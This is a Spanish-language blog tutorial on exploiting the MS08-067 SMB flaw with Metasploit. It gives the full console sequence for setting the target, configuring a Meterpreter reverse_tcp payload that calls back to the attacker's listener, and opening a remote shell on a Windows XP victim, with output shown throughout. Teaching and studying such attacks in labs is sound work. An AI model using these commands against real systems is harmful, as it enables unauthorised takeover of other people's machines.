Tomar control remoto de una máquina Windows XP / 2003 con Metasploit

[Read this post in English]

Existen diversos posts y videos que muestran  este procedimiento, sin embargo, hemos recibidos varias preguntas al respecto por lo que aquí les presentamos cómo utilizar su Metasploit para tomar control remoto de una máquina windows 2003 ó XP.

En este post mostraremos como aprovechar la vulnerabilidad MS08-067 del módulo netapi utilizado en el protocolo SMB de equipos Windows que permite la ejecución de código arbitrario. Para esto usaremos dos máquinas, una con Metasploit (puede ser windows ó linux) y una máquina XP (también puede ser una Windows 2003).

Para comenzar abrimos la consola de Metasploit con el comando:

# msfconsole

Ahora seleccionamos el exploit para nuestra vulnerabilidad con el siguiente comando:

msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) >

Ya que tenemos en el prompt el nombre de la vulnerabilidad ejecutamos el siguiente comando para ver cómo debemos configurarlo:

msf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
Name      Current Setting   Required  Description
----     ---------------   --------   -----------
RHOST                       yes       The target address
RPORT         445           yes       Set the SMB service port
SMBPIPE     BROWSER         yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id  Name
--  ----
0   Automatic Targeting

La primera opción RHOST debe contener el nombre ó dirección IP de la máquina XP que queremos atacar. RPORT y SMBPIPE son opciones obligatorias que indican el puerto por el que se mandará el exploit y el tipo de conexión a utilizar. No es necesario modificar estos últimos dos valores.

Para configurar la IP de la máquina XP que vamos a atacar, ejecutamos el siguiente comando:

msf  exploit(ms08_067_netapi) > set RHOST 192.168.75.90
RHOST => 192.168.75.90

 Donde 192.168.75.90 corresponde a la IP de la víctima

La sección “Exploit target” indica a qué plataformas se mandará este exploit. Si ejecutamos el siguiente comando podemos ver todas las plataformas que son vulnerables con este exploit:

msf  exploit(ms08_067_netapi) > show targets
Exploit targets:
Id  Name
--  ----
0   Automatic Targeting
1   Windows 2000 Universal
2   Windows XP SP0/SP1 Universal
3   Windows XP SP2 English (AlwaysOn NX)

Observamos que la opción actual “0” indica una identificación automática de la plataforma, esta opción es suficiente y no es necesario modificarla. Si se desea cambiar podemos hacerlo con el siguiente comando:

msf  exploit(ms08_067_netapi) > set target 1
target => 1

Por último debemos configurar el payload de nuestro exploit, esto no es más que indicarle a Mestasploit que una vez que la vulnerabilidad sea explotada en el equipo víctima, debe ejecutar cierta aplicación para que podamos tomar control remoto de la máquina. Esta configuración la agregamos con la siguiente opción:

msf  exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

El payload “reverse_tcp” ejecuta un cliente reverso en la máquina XP, dicho cliente se conectará hacia nuestro Metasploit por el puerto por defecto 4444. Este payload es el que finalmente nos permitirá tomar control del equipo víctima. Ahora para indicarle a este cliente que se conecte a nuestro Metasploit, debemos ejecutar el siguiente comando:

msf  exploit(ms08_067_netapi) > set LHOST 192.168.75.35
LHOST => 192.168.75.35

Donde 192.168.75.35 corresponde a la IP de la máquina donde estamos ejecutando el Metasploit

Con esta configuración estamos listos para inciar el ataque a la víctima XP. Si ejecutamos una última vez el comando “show options” veremos cómo quedó la configuración de nuestro exploit:

msf  exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name     Current Setting  Required  Description
----           ---------------  --------  -----------
RHOST    192.168.75.90    yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
LHOST     192.168.75.35    yes       The listen address
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  ----
0   Automatic Targeting

Ahora estamos listos para enviar el ataque, para esto sólo ejecutamos el comando “exploit” y esperamos a que se concrete la operación:

msf  exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.75.35:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.75.90
[*] Meterpreter session 1 opened (192.168.75.35:4444 -> 
192.168.75.90:1049) at 2013-04-08 18:53:58 -0500
meterpreter >

El último prompt “meterpreter>” nos indica que estamos listos para controlar la máquina XP, para comprobar que ya nos encontramos dentro de la máquina XP, ejecutamos el comando “sysinfo”:

meterpreter > sysinfo
Computer        : TMWINXP01
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : es_MX
Meterpreter     : x86/win32

Ahora bien, podemos ejecutar el comando “shell” para tener un prompt dentro del equipo víctima y comenzar a ejecutar operaciones:

meterpreter > shell
Process 1652 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

Y listo! Ya estamos controlando la máquina víctima XP. Ahora bien, puede ser que al ejecutar el comando “exploit” la respuesta sea como se muestra a continuación, en este caso significa que el puerto está cerrado y no podremos tomar control de esta máquina.

 msf  exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.75.35:4444
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout 
The connection timed out (192.168.75.90:445).

La razón más probable es que hay un firewall ó un IPS en medio que esté bloqueando nuestra conexión o que la máquina XP tenga el firewall activo, en este caso se deberá utilizar otro tipo de exploit para tomar control. Para comprobar que el puerto está cerrado podemos ejecutar el siguiente comando desde Metasploit:

msf  exploit(ms08_067_netapi) > nmap 192.168.75.90
[*] exec: nmap 192.168.75.90
Starting Nmap 6.25 ( http://nmap.org ) at 2013-04-08 19:18 CDT
Nmap scan report for 192.168.75.90
Host is up (0.00019s latency).
All 1000 scanned ports on 192.168.75.90 are filtered
MAC Address: 00:0C:29:4E:E1:93 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 34.51 seconds

Este resultado nos confirma que la máquina víctima está detrás de un Firewall o tiene el Firewall de Windows activo y está bloqueando todas nuestras conexiones. En este caso podemos utilizar alguna otra vulnerabilidad como backdoors o vulnerabilidades de java para poder tomar control remoto de la máquina. Puedes revisar nuestro post Creación de un backdoor con Metasploit ó nuestra sección de Metasploit para mayor información.

 

Recuerda que puedes mandarnos tus preguntas y comentarios a nuestra cuenta de Twitter: @redinskala donde encontrarás más información y tips de seguridad.

Gracias por tu visita!

 

One thought on “Tomar control remoto de una máquina Windows XP / 2003 con Metasploit

  1. Pingback: Take remote control over a windows XP / 2003 machine with Metasploit | RedinSkala

Comments are closed.